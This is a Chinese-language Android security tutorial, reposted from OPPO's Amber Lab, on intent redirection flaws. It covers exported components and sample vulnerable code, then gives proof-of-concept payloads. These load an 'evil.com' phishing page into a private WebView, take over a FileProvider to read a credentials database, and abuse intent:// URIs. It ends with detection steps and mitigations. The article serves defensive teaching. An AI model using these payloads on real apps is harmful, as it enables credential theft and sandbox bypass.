Android App安全之Intent重定向详解

Android App安全之Intent重定向详解

本文转自OPPO安珀实验室 并作补充

未导出组件和非导出组件

导出组件(公有组件)

导出组件一般有以下三种形式:

1
2
3
4
5
1.在AndroidManifest.xml中的组件如果显式设置了组件属性android:exported值为true;

2.如果组件没有显式设置android:exported为false,但是其intent-filter以及action存在,则也为导出组件;

3.API Level在17以下的所有App的provider组件的android:exported属性默认值为true,17及以上默认值为false。

任意第三方App都可以访问导出组件。

未导出组件(专用组件)

1.在AndroidManifest.xml中注册的组件显式设置android:exported=”false” ;

1
<activity android:name=".WebViewActivity" android:exported="false" />

2.组件没有intent-filter, 且没有显式设置android:exported的属性值,默认为非导出的;

1
<activity android:name=".WebViewActivity" />

3.组件虽然配置了intent-filter,,但是显式设置android:exported=”false”。

1
2
3
4
5
6
7
<activity android:name =".WebViewActivity" android:exported="false" >
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>

这三种组件称为专有组件或者未导出组件,三方应用无法直接调用这种组件。例如WebViewActivity中有以下代码:

1
2
3
4
5
6
7
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ...
Intent intent = getIntent();
String Url = intent.getStringExtra("url");
// ...
webView.loadUrl(Url);

第三方应用直接访问上述未导出的WebViewActivity组件来加载url,

1
2
3
4
intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ui.WebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

系统将会抛出java.lang.SecurityException, due to Permission Denial: WebViewActivity not exported from uid xxx.

Intent重定向

那么如果三方APP要想访问上述非导出的WebViewActivity是不是就没有办法了呢?

当然不是! 其中一种常见的方式即为在本文中介绍Intent重定向, 即将Intent类的对象作为Intent 的Extras通过一个导出组件传递给非导出的组件, 以此来实现访问非导出的WebViewActivity组件。

原理在于,Android 组件之间传输的Intent类是实现了Parcelable的。

1
public class Intent implements Parcelable, Cloneable {

因此可以将属于Intent类的对象作为Intent的 extra数据对象传递到另一个组件中,相当于在Intent中嵌入Intent。

这时,如果App从不可信 Intent 的Extras字段中提取出嵌入的 Intent,然后对这个嵌入 Intent 调用 startActivity(或类似的 startService 和 sendBroadcast),这样做是很危险的; 因为攻击者原本是无法访问非导出的组件的,但是通过intent重定向,即以导出的组件作为桥即可以访问非exported的组件,达到launch anywhere或者broadcast anywhere的目的。

其原理如下图所示:

image

Intent重定向违反了Android的安全设计,导致Android的安全访问限制(App的沙箱机制)失效。

Intent重定向可能导致以下安全问题:

1
2
3
1.启动非导出组件,通过精心构造的可控的Intent参数来执行敏感操作,如果可以重写或者替换native 库,甚至还会导致任意代码执行;

2.可以获取非导出的content provider组件的content:// URI的访问权限来窃取敏感文件.

接下来我们分别举三个例子来说明:

启动非导出组件

我们继续以上述的未导出的WebViewActivity为例子, 查找在App中是否存在导出Activity中包含了Intent重定向漏洞。刚好存在一个导出的com.victim.ui.HomeActivity组件符合预期。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void onResume() { 
// ...
handleIntentExtras(getIntent());
// 攻击者可以从外部输入任意intent
}
private void handleIntentExtras(Intent intent) {
// ...
Intent deeplinkIntent = (Intent)intent.getParcelableExtra("extra_deep_link_intent");
// ...
if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) {
/ / ...
startActivity(deeplinkIntent); // 危险! 打开攻击者发送的Intent
// ...
}
// ...
}

攻击者可以实现通过这个导出的HomeActivity访问任何受保护的未导出的Activity; 我们可以编写一个攻击App,将发向HomeActivity的Intent重定向到未导出的组件WebViewActivity中,让WebViewActivity的WebView加载攻击者的恶意链接,从而达到绕过Android的权限限制的目的。

1
2
3
4
5
6
7
8
Intent next = new Intent(); 
next.setClassName("com.victim", "com.victim.ui.WebViewActivity");
next.putExtra("extra_url", "http://evail.com"); // 加载攻击者的钓鱼网站
next.putExtra("extra_title", "test");

Intent intent = new Intent();
intent .setClassName("com.victim", "com.victim.ui.HomeActivity"); intent .putExtra("extra_deep_link_intent", next); // 嵌入Intent
startActivity(intent);

越权访问content provider

除了可以访问任意组件之外,攻击者还可以访问满足以下条件的APP的Content Provider的组件:

1
2
3
1.该组件必须是非导出的(否则可以直接攻击,无需使用我们在本文中讨论的模型)

2.组件还设置了android:grantUriPermissions为true。

同时,攻击者在实现攻击时,必须将自己设置为嵌入Intent的接收者,并设置以下标志:

1
2
3
4
5
6
7
1).Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION允许对提供者的持久访问(没有此标志,则访问仅为一次)

2).Intent.FLAG_GRANT_PREFIX_URI_PERMISSION允许通过前缀进行URI访问。

3).Intent.FLAG_GRANT_READ_URI_PERMISSION允许对提供程序进行读取操作(例如query,openFile,openAssetFile)

4).Intent.FLAG_GRANT_WRITE_URI_PERMISSION允许写操作

比如在App中有一个非导出的file provider, 该provider在其私有目录的database路径下保存了secret.db文件,该文件中保存了用户的登录账号信息。

该file provider的设置如下:

1
2
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.android.victim" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/></provider>

为了简便起见,APP的资源文件res/xml/provider_paths文件的配置为

1
2
3
<paths>
<root-path name="root" path="/"/>
</paths>

我们无法直接访问file provider, 但是可以通过Intent重定向来窃取secret.db文件。

payload如下:

1
2
3
4
5
6
7
8
9
10
Intent next= new Intent();
next.setClassName(getPackageName(), "com.Attacker.AttackerActivity");
// 设置为攻击者自己的组件
next.setData(Uri.parse("content://com.victim.localfile/secret.db"));
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
// 添加所有可以访问content provider的读写flag

Intent intent = new Intent();
intent.setClassName("com.victim.localfile", "com.victim.localfile.LoginActivity"); intent.putExtra("com.victim.extra.NEXT_INTENT", next);
startActivity(intent);

通过WebView访问任意组件

通常我们可以通过调用Intent.toUri(flags)方法将Intent对象转换为字符串,同时可以使用Intent.parseUri(stringUri,flags)将字符串从字符串转换回Intent。此功能通常在WebView(APP内置浏览器)中使用。APP可以解析intent:// 这种类型的scheme,将URL字符串解析为Intent对象并启动相关的Activity。

漏洞代码示例:

1
2
3
4
5
6
7
8
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

要利用此漏洞,攻击者可以通过Intent.Uri方法创建一个WebView重定向Intent 的url,然后让WebViewActivity去加载该Url,由于在shouldOverrideUrlLoading方法中没有做完整的校验,会存在Intent重定向漏洞。

1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.WebViewActivity");i
ntent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME));
//"intent:#Intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

// 攻击代码
location.href = "intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

查看此类漏洞的方法

如何在App中快速的找到此类漏洞呢?我们可以从以下三个方面入手:

1.在App中查找导出组件,并且检查该组件是否接收从外部输入的Intent对象。

2.在上述组件中查找对startActivity(或 startService 和 sendBroadcast)的调用,并验证其Intent组件是否是从受信任的数据对象来构造的。

3.查找Intent 的 getExtras方法的调用,是否有将该方法的返回值强制转换为Intent;并在使用这种嵌入的Intent之前进行了完整的校验。

漏洞缓解方法

那么,如何缓解Intent重定向漏洞呢 ?

方法1:将受影响的应用组件设为专用组件。

如果受影响的应用组件不需要接收来自其他应用的 Intent,可以将此应用组件设为专用组件,只需在清单中设置 android:exported=“false” 即可。

方法2:确保提取的Intent来自可信的来源。

可以使用 getCallingActivity 等方法来验证源 Activity 是否可信。

例如:

1
2
3
4
5
6
7
8
// 检查源 Activity 是否来自可信的包名
if (getCallingActivity().getPackageName().equals(“known”)) {
Intent intent = getIntent();
// 提取嵌套的 Intent
Intent forward = (Intent) intent.getParcelableExtra(“key”);
// 重定向嵌套的 Intent
startActivity(forward ) ;
}

注意:检查 getCallingActivity() 是否返回非null值并不足以防范此漏洞。恶意App可以为此函数提供 null 值,最好加上APP的签名校验。

方法3:确保要重定向的Intent是无害的。

需要先验证重定向的Intent,确保该 Intent

1.不会被发送到APP的任何专用组件

2.不会被发送到外部应用的组件。如果重定向的目标是外部应用,请确保该 Intent 不会向APP的私有content provider授予URI权限。

在重定向 Intent 之前,应用可以先使用resolveActivity等方法检查将使用哪个组件来处理该 Intent。

例如:

1
2
3
4
5
6
7
8
9
10
11
Intent intent = getIntent();
// 提取嵌套的 Intent
Intent forward = (Intent) intent.getParcelableExtra(“key”);
// 获取组件名称
ComponentName name = forward.resolveActivity(getPackageManager());
// 检查软件包名称和类名称是否符合预期
if (name.getPackageName().equals(“safe_package”) &&
name.getClassName().equals(“safe_class”)) {
// 重定向嵌套的 Intent
startActivity(forward);
}

App可以使用getFlags等方法来检查 Intent 是否会授予 URI 权限。应用还可以使用removeFlags撤消 URI 权限的授予。

例如:

1
2
3
4
5
6
7
8
9
10
// 提取嵌套的 Intent
Intent forward = (Intent) intent.getParcelableExtra(“key”);
// 获取标记
int flags = forward.getFlags();
// 检查嵌套的 Intent 不能授予 URI 读写权限
if (( flags & Intent.FLAG_GRANT_READ_URI_PERMISSION == 0) &&
(flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION == 0)) {
/ / 重定向嵌套的 Intent
startActivity(forward);
}

参考

[1] Intent Redirection Vulnerability https://support.google.com/faqs/answer/9267555?hl=en

[2] #272044 Android - Access of some not exported content providershttps://hackerone.com/reports/272044[3] #200427 Access of Android protected components via embedded intenthttps://hackerone.com/reports/200427[4] Intent.toUrihttps://developer.android.com/reference/android/content/Intent#toURI()